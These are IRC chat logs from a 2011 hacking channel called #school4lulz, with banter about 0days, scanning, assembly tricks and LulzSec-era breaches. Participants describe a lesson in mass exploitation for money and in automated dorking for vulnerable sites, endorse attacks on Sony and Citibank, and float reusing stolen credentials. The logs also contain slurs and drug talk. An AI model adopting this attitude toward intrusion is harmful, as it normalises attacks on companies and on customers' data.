<FlyingDildo> nmap.. what was that nmap search engine again?:P

<Savitri> f3ckt4rd: point?

<f3ckt4rd> i.e. old daemons etc

<xochipilli> yeah

<In4TehLulz> gonna get dual citizenship. Fuck that! I ain't moving to India -.- Politics is a joke there -.-

A corrupted joke.

<xochipilli> i was thinkin fox might talk about that

<f3ckt4rd> worth the effort in 2011?

<xochipilli> meh

<Savitri> don't think so

<xochipilli> sometimes

<Savitri> you'll get better ROI on web exploits

<xochipilli> u can find a good range

<xochipilli> but its pretty hit or miss

<xochipilli> not the best use of your time

<xochipilli> unless u have like

<xochipilli> 0day

<xochipilli> in some rly widely used software



<FlyingDildo> 0day is not that hard to get.  
<xochipilli> like if u stumbled upon a iptables 0day  
<xochipilli> then for sure  
<xochipilli> lol  
\* i0dic has quit (Ping timeout)  
<xochipilli> or ssh2  
<xochipilli> or smth  
<xochipilli> then scan away  
<prophet> mysql?  
\* prophet has quit (Quit: Leaving)  
<xochipilli> scannin for old daemons, w/ known vulns  
<xochipilli> waste of ur time  
<xochipilli> imo  
<hitler> that would be a ridiculous 0day  
<xochipilli> haha yeah  
<hitler> iptables or ssh2 haha  
<xochipilli> those are some over the top examples  
<Savitri> a fail0day  
<xochipilli> to drive my point home  
\* prophet (proph3t@EDJOOKASHUNYAY-59E9217.formlessnetworking.net) has joined #school4lulz  
<xochipilli> u need something big to get good results  
<hitler> just whip out my IPv6 0day  
<hitler> wait what  
<f3ckt4rd> openbsd 😊  
<\_0xE9> IPV6 😊  
<Savitri> crap, customers, calling me at 2 AM  
<xochipilli> my friend wrote a  
<xochipilli> theo de raadt, ESR slashfic  
<hitler> tell them to deal with it  
<superbofh> hitler: tellme all about IPv6 0day  
<FlyingDildo> lol, xoch, do want.  
<FlyingDildo> /prog/ up in this.  
<Savitri> k children  
<xochipilli> FlyingDildo: holdplz, i ill pasteibn  
<xochipilli> will\*  
<Savitri> enuff for tonight  
<Savitri> homeworks, automate dorking  
<In4TehLulz> <http://www.youtube.com/yourfavoritemartian#p/u/1/Pb19JwNhfGo> TITS = WIN Forget 0day 😊  
<\_0xE9> 😊  
<Savitri> and give us the thing  
<Savitri> 😊  
<hitler> superbofh: it's simple. you implement IPv6 and no one knows how to use it. instant DOS  
<xochipilli> FlyingDildo: <http://pastebin.com/fvJ3p0KB>  
<\_0xE9> hitler, lmfao  
<xochipilli> send it to the LKML  
<xochipilli> if u want 😊  
<xochipilli> or the OBSD list  
<superbofh> hitler: im running several machines with Ipv6  
\* i0dic (AndChat@EDJOOKASHUNYAY-C1EA0663.mit.edu) has joined #school4lulz  
\* ponies has quit (Client exited)  
<\_0xE9> ipv6 is gay  
<superbofh> i can supply their IPs  
<xochipilli> ^  
<xochipilli> lets take away africas ips  
\* ponies\_ is now known as ponies  
<xochipilli> then we have plenty  
<\_0xE9> yeah  
<xochipilli> they have like 3 computers  
<xochipilli> who cares  
<xochipilli> and like SO MANY IPS  
<FlyingDildo> ipv6 is gay for scanning.  
<\_0xE9> I was up for deliting africa and japans IP range  
<hitler> heh  
<FlyingDildo> dude, this has already been posted on /prog/  
<\_0xE9> or adding extra 3 integers to ipv4 to make ipv4.1  
<\_0xE9> lol  
<FlyingDildo> and reddit:P  
<xochipilli> FlyingDildo: srsly?  
<xochipilli> lmk  
<xochipilli> link\*  
<FlyingDildo> i luv trolling gnu neckbeards tough.  
<traxx> sorry im back  
<xochipilli> linklinklink  
<traxx> sometimes irccloud crashes  
<traxx> 😊  
<xochipilli> i have to show my friend  
<FlyingDildo> just google the first sentence fgt.

34 of 77

<Savitri> he's an hermit  
 <FlyingDildo> <http://dis.4chan.org/read/prog/1308669063/1-40> lolling.  
 <nachash> Stallman also allegedly smells like cat urine.  
 <Savitri> I'm an anarchist but I know I can't do everything on my own  
 <Savitri> I can't do anything on my own  
 <Savitri> nachash: \_true\_  
 <FlyingDildo> Savitri: anarchist? so edgy.  
 <FlyingDildo> Sure is teenage angst in here.  
 <Savitri> FlyingDildo: I'm inbetween national-communist and anarchist, yeah  
 <In4TehLulz> \*sigh\* Boring assignment calls... can't really blame the teacher... it's been due for a week now...  
 <FlyingDildo> I'm for anarcho capitalism. I've got the bigger gun so i win.  
 <In4TehLulz> Savitri, you support BJP... wtf you thinkin?  
 <Savitri> In4TehLulz: Identity is getting taken over by globalization  
 <Savitri> Nationalism is exactly trying to preserve one people's roots against the acculturation and uprooting you can see in my country  
 <Savitri> and, even more in Asia. See Japan.  
 <In4TehLulz> But wouldn't that mean that you are against globalization?  
 <nachash> brb  
 \* nachash has quit (Quit: Leaving)  
 \* nachash (nachash@FD14687A.5ECA0B19.FC9E7928.IP) has joined #school4lulz  
 <FlyingDildo> Nice language we're having this discussion in. What if we share no logical set of premises?  
 <Savitri> I am. It causes a lot of disbalances, and is the logical continuation of colonization by the western powers, excepted the lash has gone from Europe to the US.  
 \* derail has quit (Quit: )  
 <In4TehLulz> Is it not possible to keep one's roots while getting accustomed to other different things?  
 I mean it is the height of being ignorant when an Indian says "American's have no culutre".  
 <Savitri> well, Ramdev is a bit... narrow-minded, yeah.  
 <Savitri> but he's a caricature  
 <In4TehLulz> I believe that we will never progress from the stage of being a "Third world country" unless we learn to properly adapt to globalization.  
 <FlyingDildo> I take your metaphysical bullshit, and troll both of you with formal logic.  
 <Savitri> become Uncle Sam's dog, you'll get bones.  
 <In4TehLulz> Ramdev is stupid.  
 <Savitri> He's far from stupid, he wouldn't have gone that high otherwise.  
 <Savitri> Same for Sathya Sai Baba, even if I couldn't stand him, he was a clever man  
 <In4TehLulz> the one who recently died in April?  
 <Savitri> You know, a country can grow powerful without mimicking that badly the US.  
 <Savitri> yup, that very one  
 <Savitri> got national funerals  
 <In4TehLulz> I hated that guy -- fake as hollywood tits.  
 \* traxx has quit (Ping timeout)  
 <Savitri> old magician tricks  
 <In4TehLulz> worse  
 <In4TehLulz> people believed him --  
 <In4TehLulz> stupid fucks.  
 \* MacGyver (virus@EDJOOKASHUNYAY-A1C023E3.cpe.net.cable.rogers.com) has joined #school4lulz  
 <In4TehLulz> He used the gullibility of religion as a tool to get to the height that he reached.  
 <Savitri> u know, siddhis are not the goal 😊 Ramakrishna says siddhis are a trap on a spiritual path.  
 <Savitri> well  
 <Savitri> that's a bit off topic 😊  
 <In4TehLulz> ttrue  
 <In4TehLulz> talking about globalization...  
 <Savitri> so, yeah, I'm against governments in general, as in "nations"  
 <In4TehLulz> I am not saying mimick the US  
 <FlyingDildo> <http://www.youtube.com/watch?v=QTTrD3FIU70> the legend of zelda, ocarina of autism.  
 <In4TehLulz> Im saying learn to accept what they do. While progressing in our own ways  
 <Savitri> I believe people should know each other to decide what to do together  
 \* i0dic has quit (Ping timeout)  
 <In4TehLulz> That's the thing tho  
 <In4TehLulz> It's India  
 <In4TehLulz> People hate each other  
 <In4TehLulz> even within families.  
 <FlyingDildo> People ALWAYS hate eachother.  
 <FlyingDildo> Welcome to evolution motherfucker.  
 <FlyingDildo> Ignorant population: you.  
 \* JohmasTefferson (JohmasTeff@752436F0.C9D03328.7DAB46AC.IP) has joined #school4lulz  
 <In4TehLulz> Dude... not like in India --  
 <FlyingDildo> Life's a game to get to the top  
 <Savitri> WTF zelda minecraft  
 <JohmasTefferson> Hello all.  
 <In4TehLulz> \*sigh\* anyways  
 <In4TehLulz> huh?  
 <FlyingDildo> Roger that Anal Jefferson  
 <Savitri> next to come, FF7 Minecraft  
 <nachash> Don't say that.  
 <nachash> Some asprie is probably already working on it

<JohmasTefferson> I'm only anal because my son was a loyalist. have som heart  
 <JohmasTefferson> some&\*<JohmasTefferson> some\*<JohmasTefferson> jesu<FlyingDildo> I want a chuggalo speedcore remix.<In4TehLulz> So what was today's class on?<Savitri> masse xploiting<Savitri> like<Savitri> exploit the masses<Savitri> to get money<Savitri> well<Savitri> it was rather<Savitri> rip off google<Savitri> and get some exploitable resources<FlyingDildo> http://www.youtube.com/watch?v=BuYmD0TS05M dude.. win.<In4TehLulz> Interesting.\* In4TehLulz has quit (User has been banned from School4lulz (Session limit exceeded))<Savitri> mmm\* i0dic (AndChat@EDJOOKASHUNYAY-9048231D.formlessnetworking.net) has joined #school4lulz<Savitri> xochipilli: what's that ban?<eni has quit (Ping timeout)<nachash> Savitri: I stand corrected. Someone is already working on FFVII minecraft.<FlyingDildo> http://www.youtube.com/watch?v=xl78htzd4t8 oh god im so high<xochipilli> Savitri: which ban?<Savitri> xochipilli: In4TheLulz<Savitri> you got an idea?<xochipilli> nah\* hitler has quit (Quit: leaving)<FlyingDildo> so silent.<FlyingDildo> CHAT HARDER\* i0dic has quit (Ping timeout)<Savitri> ah, yeah<Savitri> bonus point<Savitri> use curl -m 20<Savitri> 20 sec ought to be enough<Savitri> for anything dorking related\* curi0us (curi0us@EDJOOKASHUNYAY-BC71DF48.tor servers.net) has joined #school4lulz<Savitri> and will avoid for you the sadness of seeing your batch stuck<FlyingDildo> bonus point, do man <command> whatever you use.<FlyingDildo> because there's always one more commandline option in GNU+NECKBEARD land.<curi0us> i missed a class right? what was that shit on<Savitri> shitting<FlyingDildo> http://www.youtube.com/watch?v=OYog6eF5jb0 any hardcore hools up in this?<FlyingDildo> INTERNET HOOLIGANS!\* i0dic (AndChat@EDJOOKASHUNYAY-F9882A47.tor servers.net) has joined #school4lulz<Savitri> not modchip<Savitri> worthless<superbofh> ok<superbofh> so matrix.deadbsd.org , cypher.deadbsd.org and oracle.deadbsd.org<superbofh> all dead<superbofh> rof<superbofh> oh snaps<FlyingDildo> whodunnit?<xochipilli> eatin cold black beans out of the can<xochipilli> aw ye<xochipilli> im livin the high life<FlyingDildo> lulz.<superbofh> FlyingDildo: mistery<superbofh> 🤔<Savitri> nitie

## Misc. asm banter

Posted by nachash on June 19, 2011

None comments

?Jun 10 22:58:07 <Saya> real functional programmers write in unlambd

Jun 10 22:58:08 <eax> t is the man  
 Jun 10 22:58:12 <z3rod4ta> the man  
 Jun 10 22:58:32 <hatter> oh  
 Jun 10 22:58:34 <hatter> That man  
 Jun 10 22:58:35 <hatter> lol  
 Jun 10 22:59:12 <eax> hatter whats more optimized for zeroing out a register?  
 Jun 10 22:59:17 <eax> movl \$0, %eax  
 Jun 10 22:59:23 <eax> xorl %eax, %eax  
 Jun 10 22:59:26 <Kroak> xor  
 Jun 10 22:59:28 <eax> subl %eax, %eax  
 Jun 10 22:59:39 <FireStarter> real hackers code in assembler  
 Jun 10 22:59:40 <Kroak> xor is 2 bytes i think

Jun 10 22:59:43 <hatter> uhm  
Jun 10 22:59:46 <hatter> I don't know why  
Jun 10 22:59:48 <hatter> you did that eax  
Jun 10 22:59:49 <hatter> because  
Jun 10 23:00:03 <hatter> hrm, the mov takes a full cycle  
Jun 10 23:00:09 <hatter> so does the xorl  
Jun 10 23:00:13 <hatter> lets see here  
Jun 10 23:00:14 <Kroak> mov is 4 bytes  
Jun 10 23:00:17 <Kroak> opcodes  
Jun 10 23:00:20 <Kroak> iirc  
Jun 10 23:00:24 <hatter> doesn't matter  
Jun 10 23:00:26 <hatter> we aren't talking size  
Jun 10 23:00:28 <hatter> we're talking cycles  
Jun 10 23:00:34 <aws> MOVE BYTES FROM REGISTER TO OTHER REGISTER REPEAT FOUR MILLION TIMES AND BE CONFUSED  
Jun 10 23:00:37 <Anorov> everything i've read recommends the xor  
Jun 10 23:00:40 <aws> ASSEMBLY LANGUAGE  
Jun 10 23:00:50 <hatter> pushb 0x0  
Jun 10 23:00:51 <hatter> pop eax  
Jun 10 23:00:57 <hatter> that's 3 bytes  
Jun 10 23:01:02 <hatter> and 3/4 cycle  
Jun 10 23:01:09 <eax> sexy :3  
Jun 10 23:01:27 <Kroak> thats 2 stack accesses  
Jun 10 23:01:38 <hatter> so what  
Jun 10 23:01:43 <hatter> those are read off the cache  
Jun 10 23:01:47 <hatter> not far from the registers  
Jun 10 23:01:55 <hatter> the ones in the immediate stack frame anyway  
Jun 10 23:01:55 <Kroak> hmm  
Jun 10 23:02:14 <t> i think they doubt you hatter 😊  
Jun 10 23:02:16 <eax> got people fighting over asm i win the game :3  
Jun 10 23:02:45 <Anorov> what is stored in the cpu cache?  
Jun 10 23:02:51 <Anorov> other than the registers  
Jun 10 23:02:52 <aws> goodies  
Jun 10 23:02:59 <Kroak> the push and pop  
Jun 10 23:02:59 <aws> sekret goodies  
Jun 10 23:03:00 <Anorov> i know there's l1 l2 and l3  
Jun 10 23:03:01 <eax> h4x  
Jun 10 23:03:05 <Kroak> oh lol  
Jun 10 23:03:16 <Anorov> fuck i'll wiki it  
Jun 10 23:03:20 <Kroak> data thats used alot i think  
Jun 10 23:03:23 \* notty (~joerg@LulzCo-7A5424CB.dip.t-dialin.net) entrou em #school4lulz  
Jun 10 23:03:29 \* Snafu (~Snafu@2DD7CC7F.E90C2F8E.9F5DBED3.IP) entrou em #school4lulz  
Jun 10 23:03:32 <Anorov> how does it decide what goes in it though  
Jun 10 23:03:55 <hatter> That's architecture and microcode specific  
Jun 10 23:04:28 \* Fox (~Fox@841599D3.F71AD6B7.1ABC39CD.IP) entrou em #school4lulz  
Jun 10 23:04:28 \* ChanServ coloca o modo +q #school4lulz Fox  
Jun 10 23:04:28 \* ChanServ coloca o modo de operador a Fox  
Jun 10 23:04:31 <Fox> mmm  
Jun 10 23:04:39 <eax> mmmm fox hay bb  
Jun 10 23:04:40 <Snafu> Pffbt  
Jun 10 23:04:40 <Fox> So guys we're about to have a box in here :3  
Jun 10 23:04:51 <Kroak> a box with fox?  
Jun 10 23:05:03 <Fox> Fox has a box that will have a bot  
Jun 10 23:05:04 <Fox> :3  
Jun 10 23:05:10 <Kroak> lol  
Jun 10 23:05:12 <Fox> What should we name him.  
Jun 10 23:05:13 \* IR601 (eyearh@34FC9D27.28B72224.ABF5F547.IP) entrou em #school4lulz  
Jun 10 23:05:13 <eax> :3  
Jun 10 23:05:16 <Fox> or her....  
Jun 10 23:05:20 <eax> fox jr.  
Jun 10 23:05:35 <z0x> Fox; a box?  
Jun 10 23:05:36 <eax> or or or  
Jun 10 23:05:37 <Kroak> box  
Jun 10 23:05:40 <z0x> meaning, something you've r00teed?  
Jun 10 23:05:42 <Tony> Foxy  
Jun 10 23:05:43 <Kroak> b0x3n  
Jun 10 23:05:43 <Kroak> lol  
Jun 10 23:05:43 <eax> Lolilace  
Jun 10 23:05:49 <z3rod4ta> fucking openVPN its free up to 100mb a month  
Jun 10 23:05:54 <Tony> astaro ssl`  
Jun 10 23:05:54 <Fox> Something. :3  
Jun 10 23:06:00 <Anorov> i am giddy with excitement  
Jun 10 23:06:02 <Kroak> y u ping me?  
Jun 10 23:06:04 <IR601> sry for ping  
Jun 10 23:06:07 <Kroak> lol  
Jun 10 23:06:10 <IR601> XD  
Jun 10 23:06:15 <IR601> new bnc  
Jun 10 23:06:19 <Kroak> not some 0day i hope  
Jun 10 23:06:27 <IR601> lulz

Jun 10 23:06:30 <eax> ping = insta pwn  
Jun 10 23:06:32 <Kroak> lol  
Jun 10 23:06:40 <Kroak> i'm wiping this soon  
Jun 10 23:06:42 <Odysseus> ping = pong  
Jun 10 23:06:43 <Kroak> and my netbook  
Jun 10 23:07:02 <Kroak> need to fuck with my hdd's  
Jun 10 23:07:18 <z0x> Fox: is it here yet? lol  
Jun 10 23:07:19 -Global- [venuism] Service alias` don't work use /msg nickserv etc  
Jun 10 23:07:20 <Fox> Hmm  
Jun 10 23:07:21 <Fox> so  
Jun 10 23:07:33 <Fox> Foxy Fox Jr and LoliLace  
Jun 10 23:07:49 <Kroak> FoxyBoxy  
Jun 10 23:08:17 <aws> ShadoPhax  
Jun 10 23:08:26 <eax> sudo  
Jun 10 23:08:27 <eax> ^  
Jun 10 23:08:32 <Tony> Foxy Kooky27  
Jun 10 23:08:44 <eax> Goku  
Jun 10 23:09:01 <z0x> sudo passwd root r00typ1e  
Jun 10 23:09:04 <z0x> aaah wrong tab  
Jun 10 23:09:09 <z0x> /clear  
Jun 10 23:09:12 <Kroak> best way to dry weed?  
Jun 10 23:09:17 <Tony> iron  
Jun 10 23:09:20 <aws> FIRE  
Jun 10 23:09:24 <Tony> blowdryer  
Jun 10 23:09:33 <flabbergaster> oven  
Jun 10 23:09:33 <Kroak> lol  
Jun 10 23:09:35 <aws> BRIMSTONE  
Jun 10 23:09:35 <z3rod4ta> tanning bed  
Jun 10 23:09:39 <Tony> sun  
Jun 10 23:09:39 <z0x> Kroak; rice, hot, dry airflow.  
Jun 10 23:09:41 <Kroak> ways without losing potency?  
Jun 10 23:09:47 <IR601> in a jar  
Jun 10 23:09:49 <Kroak> rice?  
Jun 10 23:09:52 <aws> BREATH OF A DRAGON  
Jun 10 23:09:56 <IR601> no that wld rape it  
Jun 10 23:09:57 <Tony> rice will soak out the liquideh  
Jun 10 23:09:58 <Onions> Rice takes away the moisture.  
Jun 10 23:10:03 <Kroak> ah  
Jun 10 23:10:08 <z0x> it's a dessicant  
Jun 10 23:10:08 <Onions> You can also use silicate.  
Jun 10 23:10:13 <z0x> if you have any silica ge-  
Jun 10 23:10:13 <z0x> yeah.  
Jun 10 23:10:17 <Kroak> i'll hang it over my puter  
Jun 10 23:10:32 <IR601> n1  
Jun 10 23:10:32 <Fox> Hmm  
Jun 10 23:10:33 <Fox> Anyways  
Jun 10 23:10:35 <Fox> setting things up  
Jun 10 23:10:38 <z0x> Kroak; you grow?  
Jun 10 23:10:39 <z3rod4ta> Kroak: put it behind that server of urs  
Jun 10 23:10:54 <Kroak> yeah, only a little grow hut though  
Jun 10 23:11:01 <Snafu> Seeing as how theres no real way to determine where a legit lulz irc is....You would think the dudes who really "do it for the lulz" would not be cr@zy enuf to create a domain and such -> lulzsecurity.com  
Jun 10 23:11:03 <Kroak> I have a server?  
Jun 10 23:11:06 <z0x> Kroak; how many plants?  
Jun 10 23:11:17 <Kroak> 3-4 depending on size  
Jun 10 23:11:19 <Onions> Snafu, why?  
Jun 10 23:11:22 <Snafu> Um  
Jun 10 23:11:27 <Onions> It's not like hosting a domain does much.  
Jun 10 23:11:28 <Snafu> Because they are going Overboard?  
Jun 10 23:11:31 <Onions> Can be paid for anonymously.  
Jun 10 23:11:35 <Kroak> only for personal use  
Jun 10 23:11:44 <Onions> I don't see how.  
Jun 10 23:11:46 <Snafu> Do you not think they're pissing off the wrong folks man?  
Jun 10 23:11:47 <Snafu> I mean  
Jun 10 23:11:49 <z0x> they probably have someone not directly associated to manage the twitter and website  
Jun 10 23:11:52 <aws> society goes Overboard  
Jun 10 23:11:55 <z0x> so they won't get v&  
Jun 10 23:11:55 <Snafu> I approve somewhat of what they are doing  
Jun 10 23:11:55 <Snafu> Somewhat  
Jun 10 23:11:56 \* blu3beard sai (Remote host closed the connection)  
Jun 10 23:11:56 <Onions> As long as you keep safe, it doesn't matter.  
Jun 10 23:11:56 <Snafu> But um  
Jun 10 23:11:59 <s1z1f> Kroak take a paper make holes in it with knife, put paper on old monitor and start some move on that computer, after that u can cover paper with something and so it will be dried in few hours 😊  
Jun 10 23:12:03 <eax> inb4 Snafu = Fed  
Jun 10 23:12:05 <Snafu> Attack nato?

Jun 10 23:12:08 <Snafu> Rly?  
Jun 10 23:12:10 <Kroak> lol  
Jun 10 23:12:11 <Onions> I don't really care either way, Snafu. All  
Jun 10 23:12:11 <Snafu> no  
Jun 10 23:12:11 <Snafu> US marine  
Jun 10 23:12:14 <Snafu> but not fed  
Jun 10 23:12:15 <Kroak> using monitor heat?  
Jun 10 23:12:19 <aws> yeh thats what the said  
Jun 10 23:12:22 <s1z1f> ya 😊  
Jun 10 23:12:23 <Snafu> Eh, no worries  
Jun 10 23:12:23 <aws> they said they gonna attack  
Jun 10 23:12:27 <Onions> All I know is that if you keep careful there's little chance someone will catch you if you're good enough.  
Jun 10 23:12:28 <Snafu> Just curious  
Jun 10 23:12:29 <z0x> Kroak; you use a CRT?  
Jun 10 23:12:35 <Snafu> Been following the news out here in afghanistan  
Jun 10 23:12:35 <Kroak> LCD  
Jun 10 23:12:42 <Snafu> Been a lot of talk of lulz out here  
Jun 10 23:12:44 <flabbergaster> i got a 12 year old crt  
Jun 10 23:12:58 <Saya> crts suck  
Jun 10 23:13:04 <Saya> except when playing video games  
Jun 10 23:13:05 <Onions> Interesting.  
Jun 10 23:13:17 <flabbergaster> they produce so much heat, you dont need a radioator in the winter  
Jun 10 23:13:19 <Onions> You know there's feds in here, Snafu. Don't give out too much identifying info.  
Jun 10 23:13:25 <Kroak> iunno the whole high refresh rate is bullshit tbh  
Jun 10 23:13:34 <Snafu> I dont care  
Jun 10 23:13:39 <Snafu> Long as I dont visit Wiki Leaks, Im good =)  
Jun 10 23:13:41 <Kroak> you only notice changes in fps over ~40  
Jun 10 23:13:47 <Snafu> Thats the only site i cant "Visit"  
Jun 10 23:13:50 <Onions> You'd be surprised.  
Jun 10 23:14:16 <Onions> Kroak, not really. Common misconception.  
Jun 10 23:14:28 <Kroak> oh ok  
Jun 10 23:14:36 \* janicefromHR saiu (Ping timeout: 240 seconds)  
Jun 10 23:14:41 <Onions> Eyes don't concieve of things as "frames".  
Jun 10 23:14:47 <Onions> So it's the wrong metric.  
Jun 10 23:14:57 <Onions> It's an average.  
Jun 10 23:15:02 <Snafu> Why not let them put their skillz to good use in a real way?  
Jun 10 23:15:16 <Onions> It differs from person to person, the max is something like 150FPS constant.  
Jun 10 23:15:24 <fliprez1> Snafu, where you at in AFghanistan?  
Jun 10 23:15:31 <Onions> But it will seem more fluid the higher the FPS.  
Jun 10 23:15:32 <Kroak> because its fun to watch companies who shit on their customers squirm  
Jun 10 23:15:36 <Kroak> well sony  
Jun 10 23:15:40 <Kroak> but the others too  
Jun 10 23:15:40 <Onions> It just doesn't matter after like, ~60.  
Jun 10 23:15:48 <Snafu> Well  
Jun 10 23:15:51 <Snafu> S0ny is perfect example  
Jun 10 23:15:54 \* Frank (~chatzilla@LulzCo-F5C0C62B.range86-145.btcentralplus.com) entrou em #school4lulz  
Jun 10 23:15:54 <Snafu> Why keep beating em up?  
Jun 10 23:16:00 <Frank> hey  
Jun 10 23:16:00 <Snafu> Once...twice cool...  
Jun 10 23:16:04 <Kroak> because they're assholes  
Jun 10 23:16:10 <Kroak> drm rootkits  
Jun 10 23:16:10 <Snafu> After a while it's bullying...  
Jun 10 23:16:12 <Snafu> Agreed  
Jun 10 23:16:13 <Onions> Snafu, because they kept going after geohot and whatnot.  
Jun 10 23:16:18 <Snafu> Absolutely agree bout sony  
Jun 10 23:16:18 <Onions> They bully them.  
Jun 10 23:16:22 <Snafu> Hey, I agree  
Jun 10 23:16:24 <Onions> They deserve to be destroyed completely.  
Jun 10 23:16:24 <Snafu> But...  
Jun 10 23:16:29 <Onions> Teach a lesson to everyone else.  
Jun 10 23:16:29 \* Frank saiu (Remote host closed the connection)  
Jun 10 23:16:37 <Kroak> they were nice to nintendo  
Jun 10 23:16:42 <Snafu> What about the small people who have jobs? not the ceos, the normal joes who work for em?  
Jun 10 23:16:58 <Snafu> I hope, i'm really talking to the "lulz"  
Jun 10 23:16:58 <Onions> They should go work for a better company.  
Jun 10 23:17:11 <Snafu> Just found out there's irc to talk for lulz tonight  
Jun 10 23:17:16 <Snafu> Economy sucks man  
Jun 10 23:17:20 <Kroak> they still have their jobs  
Jun 10 23:17:35 <Onions> Doesn't matter.  
Jun 10 23:17:42 <Snafu> Yeah, but if you capsize that boat (sony), they might not have a life jacket  
Jun 10 23:17:48 <Fox> Snafu  
Jun 10 23:17:52 \* John (John123@2082E06A.24D6463C.2B8F0750.IP) entrou em #school4lulz  
Jun 10 23:17:53 <Fox> are you retarded.  
Jun 10 23:17:57 <John> IRC  
Jun 10 23:17:59 <John> newfags



Jun 10 23:17:59 <z3rod4ta> lol  
Jun 10 23:18:01 <Fox> You are aware of where you're at.  
Jun 10 23:18:01 \* p6chip saiu (Ping timeout: 240 seconds)  
Jun 10 23:18:01 <John> just sayin'  
Jun 10 23:18:06 <Snafu> Na man  
Jun 10 23:18:06 <Snafu> Yep  
Jun 10 23:18:08 <John> \*ITC  
Jun 10 23:18:09 <Saya> John: wut  
Jun 10 23:18:10 <Saya> John: you suck  
Jun 10 23:18:10 <Snafu> Afghanistan =)  
Jun 10 23:18:11 <Fox> like.  
Jun 10 23:18:12 <Snafu> So what  
Jun 10 23:18:25 <John> Fox, I know where ` is  
Jun 10 23:18:30 <Fox> Where?  
Jun 10 23:18:40 <John> I'm not willing to disclose that information to you  
Jun 10 23:18:43 <John> people who need to know, know  
Jun 10 23:18:47 <Fox> Well then go fuck yourself.  
Jun 10 23:18:48 <John> those who don't... don't  
Jun 10 23:18:59 \* Babe1997 (~Anna@ECB01C92.CEA15DF0.943AC7A6.IP) entrou em #school4lulz  
Jun 10 23:18:59 <Fox> Tell him I miss him and I love him <3  
Jun 10 23:19:11 <Onions> He got v&.  
Jun 10 23:19:23 <Saya> ima gonna get wasted brahs  
Jun 10 23:19:27 <Onions> I assume that's what happens when someone disappears.  
Jun 10 23:19:30 <Saya> i love you all  
Jun 10 23:19:32 <Saya> except for John  
Jun 10 23:19:34 <Snafu> So, S0ny, why not just attack the upper echelons.....  
Jun 10 23:19:34 <Saya> who is a fucking script kid  
Jun 10 23:19:34 <aws> John, 3:16  
Jun 10 23:19:42 <Onions> Snafu, that does nothing.  
Jun 10 23:19:49 \* skynyrd (~skynyrd@LulzCo-A1D2A15C.mycingular.net) entrou em #school4lulz  
Jun 10 23:19:53 <Onions> The heart of a company lies within it's customers, then employees.  
Jun 10 23:19:53 <Snafu> no?  
Jun 10 23:20:00 <Onions> The CEOs and whatnot just collect paychecks.,  
Jun 10 23:20:02 <Snafu> Yeah, but damn man  
Jun 10 23:20:03 <Snafu> Citibank  
Jun 10 23:20:22 <Snafu> My info proly just got jacked  
Jun 10 23:20:24 <Snafu> and I support the hackers, hell im one myself .....somewhat....  
Jun 10 23:20:29 <Snafu> Learnin anyways  
Jun 10 23:20:29 <aws> they tanked the fuckin economy  
Jun 10 23:20:32 <Snafu> But fuck....  
Jun 10 23:20:37 <aws> citibank pfff  
Jun 10 23:20:40 <Snafu> I hope my info wasnt with citibank  
Jun 10 23:20:48 <Snafu> And i had no choice  
Jun 10 23:20:51 <Snafu> Thats all the us govvie credit cards  
Jun 10 23:21:06 <z3rod4ta> citibank CEO purchased a JET right after he got the money from the GOV.  
Jun 10 23:21:10 <Onions> Get mad at Citibank for having shit security.  
Jun 10 23:21:12 <z3rod4ta> so fuck citi  
Jun 10 23:21:20 \* p6chip (~p6chip@LulzCo-94D6C168.formlessnetworking.net) entrou em #school4lulz  
Jun 10 23:21:22 <Snafu> Lets put the kn0wledge towards a good use man.....For those who do what they do, and live in the uS....attack rogue countires that pose a threat to us, eh?  
Jun 10 23:21:23 <aws> re-arrangement of wealth, definately snafu  
Jun 10 23:21:30 <Onions> If you leave your door wide open you should only blame yourself when someone robs you in the night.  
Jun 10 23:21:39 <Onions> Sue Citibank, get moneyz for leaking your data.  
Jun 10 23:21:40 <Snafu> Hey, u guys are preaching to the choir man  
Jun 10 23:21:54 \* skynyrd saiu ()  
Jun 10 23:21:55 <Snafu> I hate "Profiteering Gluttons" just as much as you guys do  
Jun 10 23:22:07 <Snafu> Fuck, i should be able to plug my xbox controller into my ps3 and have it work out of the box  
Jun 10 23:22:10 <aws> LETS GET SOME MORE FUCKIN CDO'S IN HERE  
Jun 10 23:22:12 <Onions> lolwat  
Jun 10 23:22:12 <Snafu> but sony is greedy  
Jun 10 23:22:14 <aws> THEY WORK GREAT  
Jun 10 23:22:15 <Snafu> and so it has to be hacked to work  
Jun 10 23:22:33 <Snafu> Fuck, i should have a calendar on my lockscreen on my iphone, but i had to jailbreak it to make that work  
Jun 10 23:22:39 <Onions> You've gone off the subject completely. That isn't even nearly related.  
Jun 10 23:23:03 <Onions> "Companies should work together so that I'm not inconvenienced in any way" is not the problem.  
Jun 10 23:23:07 <Snafu> Well....You guys were talkin bout the security and such, shoulda been locked down etc....I Agree completly  
Jun 10 23:23:30 -Global- [venuism] Service alias` don't work use /msg nickserv etc  
Jun 10 23:23:35 <lolwat> someone called? =D  
Jun 10 23:23:44 <Snafu> But....Say for instance ya hack...hell I dont know....Bank of america  
Jun 10 23:23:58 <Snafu> and ya jack lots of usernames and passwords  
Jun 10 23:23:59 <Snafu> Why not email the usernames and passwords to the customers themselves...Just their own  
Jun 10 23:23:59 <Snafu> Make them aware  
Jun 10 23:24:04 <Snafu> Let em know how fucked up the company is



Jun 10 23:24:07 <Snafu> Not just the ones who read the news  
Jun 10 23:24:15 <aws> COS ITS FUCKED EVERYWHERE  
Jun 10 23:24:15 <Snafu> Not many people in america could tell u where DC is  
Jun 10 23:24:25 <Snafu> Americans are fuckin stupid  
Jun 10 23:24:26 <Snafu> sadly  
Jun 10 23:24:26 <Snafu> but anyways  
Jun 10 23:24:26 <Snafu> Get the customers pissed  
Jun 10 23:24:27 <Onions> This happens all the time, by the way, Snafu. This one is just getting a lot of press, and LulzSec don't do much with the data. Some Russian hackers got into some 80K users bank and used the cards for CP dealings.  
Jun 10 23:24:35 <Onions> Many of the customers are still in jail for CP.  
Jun 10 23:24:37 <eax> let me clarify something: this channel is a bunch of scrubs not associated with what you are talking about  
Jun 10 23:24:39 <eax> just saying  
Jun 10 23:24:41 <Onions> This is nothing, Snafu.  
Jun 10 23:24:44 <Snafu> Without hurting the customers  
Jun 10 23:24:48 <aws> fuck, the customers?  
Jun 10 23:24:54 <Snafu> no  
Jun 10 23:25:02 <Snafu> Fuck the corporations, not the customers man  
Jun 10 23:25:08 <Snafu> Make the customers aware  
Jun 10 23:25:08 <Snafu> When enuf become aware  
Jun 10 23:25:09 <Snafu> they leave the company  
Jun 10 23:25:10 <aws> no i mean, customers got it in the balls for CP  
Jun 10 23:25:14 <Onions> Snafu, people don't learn until they get burned.  
